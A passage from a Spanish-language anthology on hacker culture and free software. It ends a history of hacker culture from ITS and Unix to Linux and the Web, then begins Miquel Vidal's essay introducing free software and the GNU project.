pero	que	estaban	organizadas	en	torno	a	tecnologías	muy	diferentes:	a)	la	cultura	de
la	red	ARPA/PDP-10,	fiel	a	LISP	y	MACRO	y	TOPS-10	e	ITS.	b)	La	gente	de	Unix
y	C	con	sus	PDP-11’s	y	sus	VAX	y	sus	lentas	conexiones	telefónicas.	Y	c)	una	horda
anárquica	de	aficionados	a	las	computadoras	chicas	y	baratas	dedicados	a	darle	a	la
gente	el	poder	de	la	computación.

Entre	éstas,	la	cultura	de	ITS	todavía	podía	reivindicarse	como	«la	original».	Pero
se	cernían	nubes	de	 tormenta	sobre	el	MIT.	La	 tecnología	de	 las	PDP-10	de	 la	que
ITS	 dependía	 estaba	 envejeciendo,	 y	 el	 Laboratorio	 mismo	 se	 dividió	 en
departamentos	para	los	primeros	intentos	de	comercializar	tecnologías	de	Inteligencia
Artificial.	Algunos	de	 los	mejores	 investigadores	 del	MIT	 (y	 del	SAIL	y	 la	CMU)
partieron	tras	empleos	y	altos	sueldos	en	empresas	de	innovación	tecnológica.

La	estocada	 final	 se	produjo	en	1983,	 cuando	DEC	canceló	 sus	planes	a	 futuro
para	la	PDP-10	para	concentrarse	en	la	PDP-11	y	la	línea	VAX.	ITS	perdió	su	hábitat.
Ya	que	no	era	portable,	llevar	el	sistema	ITS	a	las	nuevas	computadoras	requería	un
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esfuerzo	 que	 nadie	 estaba	 dispuesto	 a	 hacer.	 La	 versión	 de	 Berkeley	 de	 Unix
corriendo	en	máquinas	VAX	se	convirtió	en	el	sistema	por	excelencia	de	los	hackers,
y	cualquiera	con	cierta	visión	de	 futuro	podía	ver	que	 las	computadoras	personales
aumentaban	su	poder	tan	velozmente	que	barrerían	con	todo	a	su	paso.

En	 esta	 época	 Levy	 escribió	 Hackers.	 Uno	 de	 sus	 mejores	 informantes	 fue
Richard	Stallman	(inventor	de	Emacs),	una	figura	líder	en	el	Laboratorio	del	MIT	y	el
vocero	más	fanático	contra	la	venta	comercial	de	su	tecnología.

Stallman	 (a	 quien	 se	 conoce	 usualmente	 por	 sus	 iniciales	 y	 nombre	 de	 login,
RMS)	creó	 la	Free	Software	Foundation	 [Fundación	Software	Libre]	y	 se	dedicó	 a
escribir	 software	 libre	 de	 alta	 calidad.	 Levy	 lo	 describió	 como	 «el	 último	 hacker
auténtico»,	una	descripción	que	por	suerte	se	probó	equivocada.

El	 gran	 estilo	 de	 trabajo	 de	 Stallman	 es	 un	 ejemplo	 claro	 de	 los	 cambios	 que
atravesaba	la	cultura	hacker	a	principios	de	los	‘80;	en	1982	comenzó	la	construcción
de	un	clon	completo	de	Unix,	escrito	en	C	y	disponible	gratuitamente.	Así,	el	espíritu
y	la	tradición	de	ITS	se	preservó	como	parte	importante	de	la	renovada	cultura	hacker
de	Unix	y	las	VAX.

Fue	en	esta	época	también	que	las	 tecnologías	del	microchip	y	 las	redes	 locales
comenzaron	a	tener	un	impacto	serio	en	la	cultura	hacker.	Ethernet	y	los	microchips
68	 000	 de	 Motorola	 fueron	 una	 combinación	 muy	 potente,	 y	 varias	 empresas	 se
habían	 creado	 para	 diseñar	 la	 primera	 generación	 de	 lo	 que	 ahora	 llamamos
estaciones	de	trabajo.

En	1982,	un	grupo	de	hackers	del	Unix	de	Berkeley	fundaron	Sun	Microsystems
con	 la	 idea	 de	 que	 Unix	 corriendo	 en	 computadoras	 con	 el	 chip	 68	 000	 —
relativamente	 barato—	 sería	 una	 dupla	 ganadora	 para	 una	 amplia	 gama	 de
aplicaciones.	Tenían	razón,	y	su	visión	estableció	el	standard	para	 toda	 la	 industria.
Aunque	todavía	estuvieran	fuera	del	alcance	de	las	personas	comunes,	las	estaciones
de	 trabajo	 eran	 baratas	 para	 las	 corporaciones	 y	 las	 universidades;	 las	 redes
conectadas	 a	 ellas	 (una	 estación	 por	 usuario)	 remplazaron	 rápidamente	 a	 las	 viejas
VAX	y	otros	sistemas	de	recursos	compartidos.

La	Era	del	Unix	Propietario

En	1984,	cuando	Unix	se	convirtió	en	un	producto	comercial	por	primera	vez,	la
separación	más	 importante	 en	 la	 cultura	 hacker	 lo	 constituían	 una	 «nación	 en	 red»
relativamente	unida,	que	había	crecido	en	 torno	a	 Internet	y	Usenet	 (en	su	mayoría
usando	minicomputadoras	o	terminales	que	usaban	Unix),	y	un	archipiélago	en	gran
medida	desconectado	de	fanáticos	de	las	computadoras	personales	desde	sus	casas.

Con	las	máquinas	tipo	estación	de	trabajo[15]	de	Sun	y	otras	empresas	se	abrieron
nuevos	mundos	 para	 los	 hackers.	 Se	 habían	 diseñado	 para	 generar	 gráficos	 de	 alto
rendimiento	y	compartir	datos	en	redes.	En	los	‘80	la	cultura	hacker	se	concentró	en
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sacar	el	mayor	provecho	de	estas	características	por	medio	de	software	y	el	diseño	de
herramientas.	La	versión	del	Unix	de	Berkeley	incorporó	soporte	para	emplear	la	red
ARPA,	 lo	 cual	 solucionó	 el	 problema	 de	 la	 conexión	 a	 la	 red	 y	 dio	 impulso	 al
crecimiento	de	Internet.

Hubo	varios	 intentos	de	domesticar	 los	gráficos	de	 las	estaciones	de	 trabajo.	El
que	prevaleció	 fue	el	Sistema	X	Window.	Un	factor	crucial	de	su	éxito	 fue	que	 los
creadores	 de	 X	 deseaban	 entregar	 gratuitamente	 las	 fuentes[16]	 del	 programa	 de
acuerdo	con	la	ética	hacker,	y	estuvieron	en	condiciones	de	distribuirlas	en	Internet.
Este	 triunfo	de	X	Window	sobre	los	sistemas	de	gráficos	propietarios	(incluido	uno
ofrecido	por	 la	 propia	Sun)	 sentó	un	precedente	 importante	 de	 cambios	que,	 pocos
años	después,	afectarían	profundamente	al	mismo	Unix.

Quedaba	en	el	ambiente	un	poco	de	melancolía	que	se	sacaba	a	relucir	cada	tanto
en	la	rivalidad	entre	ITS	y	Unix	(sobre	todo	del	lado	de	los	de	ex-ITS).	Pero	la	última
máquina	ITS	dejó	de	funcionar	para	bien	en	1990;	a	los	fanáticos	no	les	quedó	otra
que	aceptar	la	derrota	y	asimilarse	a	la	cultura	Unix,	aunque	sea	a	regañadientes.

En	 la	 cultura	 hacker	 conectada	 en	 red,	 la	 gran	 rivalidad	 de	 los	 ‘80	 la
protagonizaron	los	fans	de	las	versiones	Berkeley	y	ATT	de	Unix.	A	veces	todavía	se
encuentran	copias	de	un	póster	de	esa	época,	que	muestra	una	nave	X-wing	de	Star
Wars	huyendo	de	una	Estrella	de	la	Muerte	con	el	logo	de	ATT	que	vuela	en	pedazos.
Los	hackers	de	Berkeley	se	veían	a	si	mismos	como	rebeldes	contra	 los	mezquinos
imperios	corporativos.	El	Unix	de	ATT	nunca	 igualó	al	de	Berkeley/Sun	en	ventas,
pero	 ganó	 la	 guerra	 por	 los	 standards.	 Para	 1990,	 se	 hacía	 difícil	 distinguir	 las
versiones	de	Berkeley	y	ATT,	pues	habían	adoptado	muchas	innovaciones	una	de	la
otra.

Al	 empezar	 los	 ‘90	 la	 tecnología	de	 estaciones	de	 trabajo	de	 la	década	anterior
empezaba	a	verse	severamente	asediada	por	nuevas	computadoras	personales	(PCs),
baratas	 y	 de	 alto	 rendimiento	 basadas	 en	 el	 chip	 Intel	 386	 y	 sus	 sucesores.	 Por
primera	vez,	los	hackers	podían	acceder	en	su	casa	a	una	computadora	comparable	en
poder	 y	 almacenamiento	 a	 las	minicomputadoras	 de	 diez	 años	 atrás	 sistemas	Unix
capaces	de	sostener	un	entorno	de	desarrollo	completo	y	comunicarse	con	Internet.

El	 mundo	 del	 MS-DOS	 ni	 se	 enteró	 de	 esto.	 Aunque	 aquellos	 primeros
entusiastas	 de	 las	 computadoras	 personales	 se	 expandieron	 rápidamente	 a	 una
población	de	hackers	de	DOS	y	Mac	en	una	magnitud	mayor	que	los	de	la	cultura	de
la	«nación	en	red»,	nunca	se	convirtieron	en	una	cultura	consciente	de	sí	misma.	El
ritmo	 de	 los	 adelantos	 era	 tan	 veloz	 que	 surgieron	 cincuenta	 culturas	 tecnológicas
distintas	 y	 se	 extinguieron	 como	moscas,	 sin	 alcanzar	 la	 estabilidad	 necesaria	 para
desarrollar	 una	 tradición,	 argot,	 folklore	 e	 historia	mítica	 comunes.	La	 ausencia	 de
una	red	eficaz	comparable	a	la	UUCP	o	la	Internet	impidió	que	se	convirtieran	en	una
«nación	en	red»	por	sí	mismas.	El	creciente	acceso	telefónico	a	servicios	comerciales
tipo	CompuServe	y	Genie	empezaba	a	imponerse,	pero	el	hecho	de	que	los	sistemas
operativos	distintos	a	Unix	no	vinieran	con	herramientas	de	desarrollo	incorporadas
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hizo	 que	 circulara	 muy	 poco	 código	 fuente.	 Así,	 no	 se	 generó	 ninguna	 tradición
cooperativa	de	«hacking».

La	cultura	hacker,	(des)organizada	en	torno	a	Internet	y	a	esta	altura	identificada
con	la	cultura	tecnológica	de	Unix,	era	indiferente	a	los	servicios	comerciales.	Ellos
querían	mejores	herramientas	y	más	Internet,	y	 las	PC	de	32	bits	baratas	prometían
poner	ambas	cosas	al	alcance	de	todos.

¿Pero	qué	pasaba	con	el	software?	Los	sistemas	Unix	seguían	siendo	caros,	varios
miles	de	dólares.	A	principios	de	los	‘90	varias	compañías	vendían	versiones	para	PC
del	UNIX	de	ATT	o	Berkeley	(BSD).	Su	éxito	fue	escaso,	 los	precios	no	bajaron	y
(sobre	 todo)	 junto	al	 sistema	operativo	no	se	adquirían	 las	 fuentes	modificables.	El
modelo	de	negocios	tradicional	del	software	no	les	daba	a	los	hackers	lo	que	querían.

Tampoco	 lo	 hacía	 la	 Fundación	 de	 Software	 Libre.	 El	 desarrollo	 de	HURD,	 el
código	 de	 Unix	 abierto	 y	 libre	 para	 los	 hackers	 que	 Richard	 Stallman	 venía
prometiendo	desde	hace	tiempo,	quedó	trabado	durante	años	y	no	logró	producir	nada
parecido	a	un	sistema	sólido	hasta	1996	(aunque	para	1990	la	FSF	ya	brindaba	casi
todas	las	demás	partes	complejas	de	un	sistema	operativo	estilo	Unix).

Para	peor,	se	hacía	claro	a	comienzos	de	 los	‘90	que	 los	diez	años	de	esfuerzos
por	 hacer	 redituable	 la	 venta	 de	 Unix	 terminaban	 en	 fracaso.	 La	 prometida
portabilidad	entre	plataformas	de	Unix	se	extravió	en	medio	de	batallas	legales	entre
la	más	 de	media	 docena	 de	 versiones	 propietarias	 de	Unix.	 Los	 que	 vendían	Unix
fueron	 tan	 torpes,	 ciegos	 e	 ineptos	 para	 el	marketing	 que	Microsoft	 pudo	 robarles
gran	parte	del	mercado	con	su	tecnología	Windows	ridículamente	inferior.

A	principios	de	1993,	un	observador	hostil	contaba	con	motivos	para	decir	que	la
historia	de	Unix	se	extinguía,	y	con	ella	la	suerte	de	la	tribu	hacker.	No	escaseaban
testigos	 así	 en	 la	 prensa	 informática;	 la	 inminente	 muerte	 de	 Unix	 se	 predecía
cíclicamente	cada	seis	meses	desde	fines	de	los	‘70.

En	aquellos	días	todos	creían	que	la	era	del	tecno-heroísmo	se	había	acabado,	que
la	 industria	 del	 software	 y	 la	 naciente	 Internet	 serían	 dominadas	 por	 colosos	 como
Microsoft.	La	primera	generación	de	hackers	de	Unix	parecía	agotada	y	envejecida
(el	grupo	de	Investigación	de	Ciencia	Informática	de	Berkeley	se	quedó	sin	nafta	y
perdió	el	apoyo	financiero	en	el	‘94).	Fueron	días	deprimentes.

Pero	 por	 suerte	 habían	 estado	 pasando	 cosas	 fuera	 de	 la	 vista	 de	 la	 prensa
comercial,	y	fuera	 incluso	de	la	vista	de	la	mayoría	de	 los	hackers,	que	terminarían
generando	cambios	muy	motivadores	a	 fines	de	1993	y	1994.	Eventualmente,	éstos
llevarían	a	la	cultura	en	una	dirección	completamente	nueva	y	hacia	un	éxito	jamás
soñado.

Los	Primeros	Unix	Libres

En	 el	 bache	 que	 dejó	 el	 intento	 fallido	 de	 Stallman	 de	 crear	 un	Unix	 libre[17],
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apareció	 un	 estudiante	 de	 la	 Universidad	 de	 Helsinki	 llamado	 Linus	 Torvalds.	 En
1991	comenzó	a	desarrollar	un	kernel[18]	libre	de	Unix	para	máquinas	386	usando	las
herramientas	de	la	Fundación	Software	Libre.	Su	veloz	éxito	inicial	atrajo	a	muchos
hackers	de	Internet	que	cooperaron	con	él	para	desarrollar	Linux,	un	Unix	totalmente
equipado	con	fuentes	gratuitas	y	de	distribución	libre.

A	Linux	no	le	faltaban	competidores.	En	1991,	al	mismo	tiempo	que	los	primeros
experimentos	de	Linus	Torvalds,	William	y	Lyne	Jolitz	estaban	transportando	a	modo
de	prueba	el	Unix	de	Berkeley	(BSD)	a	la	PC	386.	La	mayoría	de	los	expertos	que
compararon	 la	 tecnología	 de	 la	 versión	 BSD	 con	 los	 primeros	 intentos	 de	 Linus
dijeron	 que	 esa	 adaptación	 de	BSD	 se	 convertiría	 en	 el	Unix	 libre	más	 importante
para	la	PC.

Pero	el	aspecto	más	importante	de	Linux	no	era	técnico,	sino	sociológico.	Hasta
el	 desarrollo	 de	Linux,	 todos	 creían	 que	 cualquier	 software	 tan	 complejo	 como	 un
sistema	 operativo	 debía	 desarrollarse	 con	 cuidado,	 de	 manera	 coordinada,	 por	 un
grupo	muy	unido	y	no	muy	grande	de	personas.	Este	modelo	es	y	era	típico	tanto	del
software	comercial	como	de	las	grandes	catedrales	de	software	libre	de	la	Fundación
Software	Libre	 de	 los	 ‘80;	 también	de	 los	 proyectos	BSDlibre/BSDred/BSDabierto
que	derivaron	de	las	implementaciones	de	UNIX	BSD	386	de	Jolitz.

Linux	evolucionó	de	un	modo	 radicalmente	distinto.	Casi	desde	el	principio,	 se
abalanzaron	con	entusiasmo	sobre	él	un	enorme	número	de	hackers	coordinados	sólo
a	través	de	Internet.	La	calidad	se	conseguía	no	por	medio	de	standards	rígidos	o	de
verticalismo,	sino	por	la	estrategia	tan	sencilla	de	hacer	públicas	las	nuevas	versiones
todas	 las	 semanas	y	 a	 los	pocos	días	 recoger	 las	 respuestas	de	 cientos	de	usuarios,
creando	 una	 suerte	 de	 selección	 darwiniana	 acelerada	 sobre	 las	 mutaciones
introducidas	por	programadores.	Para	sorpresa	de	la	mayoría,	esto	funcionó	bien.

Para	 fines	 de	 1993,	 Linux	 podía	 competir	 en	 estabilidad	 y	 confiabilidad	 con
muchos	 Unix	 comerciales,	 y	 contaba	 con	 mayor	 cantidad	 de	 software.	 Incluso
empezaba	a	interesar	a	empresas	comerciales.	Un	efecto	indirecto	de	este	proceso	fue
la	desaparición	de	la	mayoría	de	los	pequeños	distribuidores	de	Unix	comerciales	que
sin	 programadores	 y	 hackers	 a	 los	 que	 venderles,	 quebraron.	 Uno	 de	 los	 pocos
sobrevivientes,	BSDI	 (Berkeley	Systems	Design,	 Incorporated)	 se	 plegó	 a	 la	 nueva
tendencia,	ofreciendo	las	fuentes	completas	de	su	Unix-BSD	y	cultivando	relaciones
amistosas	con	la	comunidad	hacker.

Estos	 cambios	 pasaron	 desapercibidos	 en	 su	 momento,	 incluso	 dentro	 de	 la
cultura	 hacker.	 La	 cultura	 hacker,	 desafiando	 todos	 los	 pronósticos	 de	 su
desaparición,	 estaba	 empezando	 a	 rediseñar	 el	mundo	 del	 software	 comercial	 a	 su
semejanza.	Pasarían	cinco	años	más,	de	cualquier	modo,	antes	de	que	esta	tendencia
se	hiciera	evidente.

La	Gran	Explosión	de	la	Web
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El	crecimiento	inicial	de	Linux	se	potenció	con	otro	fenómeno:	el	descubrimiento
masivo	 de	 la	 Internet.	El	 inicio	 de	 los	 ‘90	 también	 vio	 el	 inicio	 de	 una	 floreciente
industria	de	proveedores	de	Internet,	que	vendían	el	acceso	por	unos	pocos	dólares	al
mes.	Con	la	invención	de	la	World	Wide	Web[19],	el	ya	rápido	crecimiento	de	Internet
se	hizo	vertiginoso.

Para	 1994,	 el	 año	 en	 que	 el	 grupo	 de	 desarrollo	 del	Unix	 de	Berkeley	 anunció
formalmente	que	se	retiraba,	varias	versiones	 libres	diferentes	de	Unix	(Linux	y	las
descendientes	de	BSD	386)	fueron	los	focos	de	atención	de	la	actividad	hacker.	Linux
se	 estaba	 distribuyendo	 comercialmente	 en	 CD-ROM	 y	 vendiéndose	 como	 pan
caliente.	 Para	 fines	 de	 1995,	 las	 grandes	 compañías	 de	 informática	 comenzaban	 a
publicar	anuncios	cargados	de	argot	celebrando	lo	fácil	que	era	entrar	a	Internet	con
sus	computadoras	y	software.

A	 fines	 de	 los	 ‘90	 las	 actividades	 principales	 de	 la	 cultura	 hacker	 fueron	 el
desarrollo	de	Linux	y	la	popularización	de	Internet.	La	World	Wide	Web	transformó
la	Internet	en	un	medio	masivo,	y	muchos	de	los	hackers	de	los	‘80	y	principios	de
los	 ‘90	 lanzaron	 Servicios	 de	 Proveedores	 de	 Internet	 vendiendo	 o	 facilitando	 el
acceso	a	las	masas.

La	popularización	de	Internet	trajo	además	para	la	cultura	hacker	el	inicio	de	su
respetabilidad	pública	y	de	la	intervención	política.	En	1994	y	1995	el	activismo	de
los	hackers	abortó	el	programa	Clipper,	que	hubiera	puesto	la	encriptación	avanzada
de	 datos	 bajo	 control	 del	 gobierno.	 En	 1996	 los	 hackers	 movilizaron	 una	 amplia
coalición	para	combatir	la	mal	llamada	«Acta	de	Decencia	de	las	Comunicaciones»	y
prevenir	la	censura	en	Internet.

Con	esta	victoria	pasamos	de	la	historia	a	la	realidad	actual.	También	pasamos	a
un	 período	 en	 el	 que	 vuestro	 historiador	 se	 convierte	 en	 actor,	 no	 sólo	 observador.
Esta	 narración	 continuará	 en	 «The	 Revenge	 of	 the	 Hackers»	 [La	 Venganza	 de	 los
Hackers][20].

Todos	 los	 gobiernos	 son	 en	 mayor	 o	 menor	 medida	 alianzas	 contra	 el
pueblo…	 y	 en	 tanto	 los	 gobernantes	 no	 poseen	 más	 virtudes	 que	 los
gobernados…	el	poder	de	un	gobierno	sólo	puede	mantenerse	dentro	de	 los
límites	constitucionales	a	 través	de	 la	exhibición	de	un	poder	equiparable	a
él,	el	sentimiento	colectivo	del	pueblo.

Benjamin	Franklin,	en	un	editorial	de	Philadelphia	Aurora,	1794
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2.	SOFTWARE	LIBRE
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Cooperación	sin	mando:	una	introducción	al	software
libre

Miquel	Vidal

iquel	Vidal	participa	desde	hace	años	en	distintas	iniciativas	de	uso	social	de	Internet	y	el
software	libre.	Formó	parte	de	la	primera	área	telemática	en	un	centro	social	ocupado	en

España.	Fue	uno	de	los	fundadores	del	proyecto	sinDominio	(http://sindominio.net)	en	1999,
un	 proyecto	 antagonista	 que	 busca	 «transformar	 las	 condiciones	 sociales	 del	 mundo	 en	 que
vivimos	 desde	 la	 horizontalidad,	 la	 cooperación	 y	 la	 libre	 circulación	 del	 saber».	 También
colaboró	 con	 el	 mantenimiento	 técnico	 del	 nodo	 madrileño	 de	 Indymedia
(http://madrid.indymedia.org).	 Profesionalmente	 se	 desempeña	 como	 administrador	 de
barrapunto.com,	sitio	de	referencia	de	la	comunidad	hispana	de	software	libre.

Fue	publicado	en	agosto	de	2000	en	la	biblioweb	de	sinDominio;	ha	sido	citado	y	reproducido
en	numerosas	ocasiones.

Si	 bien	 el	 software	 libre	 no	 es	 un	 fenómeno	 nuevo	 ya	 que	 existe	 desde	 los
orígenes	 de	 la	 informática,	 sí	 es	 relativamente	 reciente	 su	 modelo	 cooperativo	 de
producción	en	red	—el	llamado	modelo	bazar—	y	el	movimiento	social	que	lo	avala
—la	comunidad	del	software	libre—.	No	ha	sido	hasta	los	últimos	cinco	años	en	que,
ligado	a	la	extensión	de	Internet	y	a	la	popularización	de	los	ordenadores	personales,
el	movimiento	del	software	libre	ha	alcanzado	su	masa	crítica,	ha	dejado	de	ser	sólo
cosa	de	algunos	programadores	y	se	ha	convertido	en	un	 fenómeno	de	cooperación
social	 liberada.	 En	 la	 época	 de	 la	 subsunción	 real	 de	 la	 totalidad	 de	 las	 fuerzas
productivas	bajo	el	capital,	en	la	cual	todo	acaba	valorizado	en	términos	mercantiles,
las	 empresas	 han	 tardado	 en	 advertirlo	 pero	 finalmente	 se	 han	 lanzado	 a	 la	 caza	 y
captura	de	esta	increíble	máquina	productiva,	tal	vez	la	mayor	empresa	colectiva	que
existe	 hoy	 día.	 ¿Qué	 es	 pues	 el	 software	 libre,	 que	 tanto	 interés	 está	 empezando	 a
despertar?

1.	¿Qué	es	el	software?

El	software	es	una	producción	inmaterial	del	cerebro	humano	y	tal	vez	una	de	las
estructuras	más	 complicadas	 que	 la	 humanidad	 conoce.	 De	 hecho,	 los	 expertos	 en
computación	 aún	 no	 entienden	 del	 todo	 cómo	 funciona,	 su	 comportamiento,	 sus
paradojas	 y	 sus	 límites.[21]	Básicamente,	 el	 software	 es	 un	 plan	 de	 funcionamiento
para	 un	 tipo	 especial	 de	 máquina,	 una	 máquina	 «virtual»	 o	 «abstracta».	 Una	 vez
escrito	mediante	 algún	 lenguaje	de	programación,	 el	 software	 se	hace	 funcionar	 en
ordenadores,	 que	 temporalmente	 se	 convierten	 en	 esa	 máquina	 para	 la	 que	 el
programa	sirve	de	plan.	El	software	permite	poner	en	relación	al	ser	humano	y	a	la
máquina	 y	 también	 a	 las	 máquinas	 entre	 sí.	 Sin	 ese	 conjunto	 de	 instrucciones
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programadas,	 los	 ordenadores	 serían	 objetos	 inertes,	 como	 cajas	 de	 zapatos,	 sin
capacidad	siquiera	para	mostrar	algo	en	la	pantalla.

Los	ordenadores	sólo	procesan	lenguaje	binario[22],	pero	para	las	personas	este	no
es	un	modo	válido	de	comunicarse	(salvo	a	nivel	sináptico	:-).	Si	bien	en	los	tiempos
heroicos	de	 los	primeros	ordenadores	no	 les	quedaba	otro	 remedio	que	hacerlo,	 los
programadores	 hace	 mucho	 que	 no	 escriben	 su	 código	 en	 lenguaje	 binario
(denominado	 técnicamente	 «código-máquina»),	 pues	 es	 terriblemente	 tedioso,
improductivo	y	muy	sujeto	a	errores.	Hace	tiempo	que	los	programadores	escriben	las
instrucciones	 que	 ha	 de	 ejecutar	 el	 procesador	 de	 la	 máquina	 mediante	 lenguajes
formales,	 llamados	 «de	 alto	 nivel»,	 bastante	 cercanos	 al	 inglés,	 si	 bien	 con	 rígidas
reglas	 sintácticas	 que	 lo	 asemejan	 a	 los	 lenguajes	 lógico-formales.	 Esto	 facilita
enormemente	 la	 tarea	 de	 escribir	 programas	 pero,	 para	 que	 esas	 instrucciones	 sean
comprensibles	para	el	procesador,	deben	ser	convertidas	antes	a	código-máquina.	Esa
conversión	 se	 realiza	 cómodamente	 con	 programas	 especiales,	 llamados
compiladores.	A	 lo	que	escribe	el	programador	se	 le	denomina	«código-fuente».	Al
resultado	 de	 la	 «conversión»	 (compilación)	 en	 lenguaje-máquina,	 se	 le	 denomina
«código-objeto»,	«binarios»	o	«ficheros	ejecutables».	En	principio,	al	usuario	común
sólo	 le	 importa	 este	 último	 nivel,	 los	 «binarios»,	 pero	 conviene	 tener	 clara	 la
distinción	 entre	 fuentes	 y	 binarios	 pues	 es	 clave	 para	 entender	 el	 empeño	 de	 los
partidarios	del	software	libre	en	disponer	de	las	fuentes.

Pero	el	software	libre	es	mucho	más	que	el	derecho	de	los	programadores	y	de	los
hackers[23]	 a	 disponer	 de	 las	 fuentes	 del	 código:	 significa	 también	 la	 libertad	 de
copiar	 y	 redistribuir	 esos	 programas.	 Esos	 derechos,	 o	 su	 ausencia,	 condicionan	 a
cualquiera	que	use	un	ordenador	y	han	configurado	la	industria	del	software	y	de	la
informática	 tal	 y	 como	 la	 conocemos	 hoy	 día.	 También	 ha	 dado	 lugar	 a	 un
movimiento	 social	 —el	 del	 software	 libre—	 cuya	 historia	 reconstruiremos
brevemente	en	las	próximas	líneas.

2.	Los	inicios

En	la	informática	de	los	años	sesenta	y	setenta	y	en	la	cultura	hacker	que	surgió
en	 torno	 a	 ella,	 se	 disponía	 libremente	 de	 las	 herramientas	 necesarias	 y	 del	 código
fuente	 de	 la	 gran	 mayoría	 de	 los	 programas.	 La	 colaboración	 forma	 parte	 desde
antiguo	 de	 los	 hábitos	 de	 la	 comunidad	 científica	 y	 además,	 ante	 la	 diversidad	 de
plataformas,	era	necesario	disponer	del	código	cuando	se	adquiría	el	programa	para
poder	portarlo	al	hardware	de	cada	cual.	Era	tan	normal	como	compartir	recetas	de
cocina	y	ni	siquiera	se	hablaba	de	«software	libre»,	pues	todo	el	que	quería	programar
se	beneficiaba	de	ello	y	veía	 lógico	que	 los	demás	se	pudiesen	beneficiar	a	su	vez.
Los	hackers	copiaban	los	programas,	intercambiaban	sus	fuentes,	podían	estudiarlas,
evaluarlas,	 adaptarlas	a	 sus	necesidades	y	a	 su	hardware,	 reutilizaban	una	parte	del
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código	para	hacer	nuevos	programas…	El	desarrollo	de	bienes	públicos	basados	en
ese	modelo	 fue	exponencial	hasta	el	punto	de	que	gran	parte	de	 la	 tecnología	en	 la
que	se	basa	hoy	Internet	—desde	el	sistema	operativo	UNIX	hasta	los	protocolos	de
red—	procede	de	esos	años.

Pero,	a	principios	de	los	años	ochenta,	ese	modelo	entra	en	crisis,	y	rápidamente
comienza	a	emerger	un	modelo	privatizador	y	mercantilista.	Los	ordenadores,	hasta
entonces	escasos,	caros	y	poco	potentes,	se	hacen	asequibles,	cada	vez	más	baratos	y
potentes	 y	 aparece	 un	 nuevo	 negocio,	 el	 de	 los	 productores	 de	 software.	 Los
programas	se	empezaron	a	vender	como	productos	comerciales	independientes	de	las
máquinas	y	sólo	con	el	código	binario,	para	ocultar	las	técnicas	de	programación	a	la
competencia.	La	nueva	industria	del	software	comienza	a	apoyarse	en	la	legislación
sobre	 propiedad	 intelectual.	 El	 mundo	 UNIX	 se	 fragmenta	 en	 diversas	 versiones
privatizadas	 y	 progresivamente	 incompatibles	 entre	 sí,	 que	 los	 programadores	 no
pueden	modificar.	Lo	que	era	práctica	habitual,	 se	convirtió	en	un	delito:	 el	hacker
que	compartía	 el	 código	y	cooperaba	con	otras	personas	pasó	a	 ser	 considerado	un
«pirata».

Al	tiempo	que	los	sistemas	van	haciéndose	incompatibles	entre	sí,	la	comunidad
de	 investigadores	se	va	desmembrando	poco	a	poco.	Muchos	hackers	 ficharon	para
empresas	y	firmaron	contratos	en	los	que	se	comprometían	a	no	compartir	con	nadie
de	fuera	los	«secretos	de	fabricación»	(el	código	fuente).	Por	su	parte,	los	laboratorios
de	investigación	comenzaron	a	hacer	lo	mismo	y	obligaban	a	sus	hackers	a	suscribir
el	mismo	tipo	de	cláusulas.	Para	cerrar	el	círculo,	los	compiladores,	los	depuradores,
los	editores	y	demás	herramientas	imprescindibles	para	programar	eran	propietarios	y
se	vendían	a	precios	 respetables:	 se	 trataba	de	que	 la	programación	de	verdad	 sólo
estuviese	en	manos	de	la	naciente	industria	de	software.

Hubo	 hackers	 que	 no	 aceptaron	 esta	 nueva	 situación	 y	 continuaron	 con	 sus
prácticas	 pero	 parecía	 solo	 una	 cuestión	 de	 tiempo	 que	 la	 industria	 del	 software
propietario	arrinconara	y	dejara	definitivamente	fuera	de	la	ley	la	cultura	cooperativa
y	confiada	de	las	primeras	comunidades	de	hackers.[24]	Este	contexto	sirve	de	base	y
explica	 el	 auge	 posterior	 del	 imperio	 Microsoft	 y	 similares:	 estaba	 naciendo	 el
negocio	 del	 software	 propietario	 y	 la	 próspera	 industria	 de	 los	 ordenadores
personales.

3.	El	proyecto	GNU

Son	 los	 primeros	 años	 ochenta	 y	 seguiré	 la	 pista	 de	 algunos	 de	 esos
programadores	que	habían	conocido	la	vieja	cultura	hacker	de	los	años	setenta	y	que
no	 se	 plegaron	 a	 los	 designios	 privatizadores	 de	 la	 industria	 del	 software.[25]	 De
hecho,	 consideraron	 la	privatización	un	verdadero	atentado	a	 los	mismos	cimientos
del	 proceso	 de	 conocimiento.	 Se	 cuestiona	 que	 la	 propiedad	 intelectual	 sea	 un
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derecho	natural,	y	se	percibe	como	una	práctica	socialmente	indeseable.[26]
Con	ese	planteamiento	nace	el	Proyecto	GNU	(acrónimo	recursivo	que	significa	

GNU’s	Not	UNIX,	o	sea,	«GNU	No	es	UNIX»)	de	la	mano	de	Richard	M.	Stallman,
un	hacker	del	 emblemático	Laboratorio	de	 Inteligencia	Artificial	del	Massachusetts
Institute	Technology	(MIT).	Era	el	año	1984,	Stallman	abandona	el	MIT	para	que	no
interfiera	en	sus	planes	y	junto	a	otros	hackers	interesados	en	el	proyecto	GNU,	crea
la	Free	Software	Foundation	(FSF)	en	1985	comienza	una	labor	metódica	y	discreta,
guiada	por	una	asombrosa	visión	estratégica.[27]

El	proyecto	GNU	se	propuso	a	 la	 sazón	una	 tarea	 titánica:	construir	un	sistema
operativo	 libre	 completo.	 No	 es	 sencillo	 expresar	 en	 pocas	 palabras	 la	 enorme
dificultad	 que	 comporta	 un	 proyecto	 así,	 sólo	 al	 alcance	 de	 unas	 cuantas	 empresas
con	 miles	 de	 programadores	 a	 sueldo.	 No	 digamos	 ya	 si	 no	 se	 dispone	 de
herramientas	 para	 hacerlo.	 Stallman	 tuvo	 que	 empezar	 casi	 desde	 cero,	 sin	modelo
bazar,	 pues	 no	 existía	 la	 universalizada	 red	 Internet	 tal	 y	 como	hoy	 la	 conocemos;
tampoco	 existía	 una	 comunidad	 de	 desarrolladores	 lo	 suficientemente	 grande	 y	 ni
siquiera	se	disponía	de	un	compilador	libre	para	empezar	el	trabajo.	Una	analogía	es
construir	una	casa	sin	disponer	apenas	de	herramientas,	por	lo	que	primero	hay	que
fabricarlas:	desde	picos	y	palas	hasta	ladrillos	y	cemento.	Eso	sí,	contaba	con	algún
material	 reciclable	 de	 «otras	 casas»	—grandes	 fragmentos	 de	 código	UNIX	 y	 una
cultura	 de	 reutilizar	 código—.	 Stallman	 y	 la	 FSF	 merecen	 por	 tanto	 un
reconocimiento	 especial	 en	 esta	 historia,	 pues	 sin	 compilador,	 depurador	 y	 editor
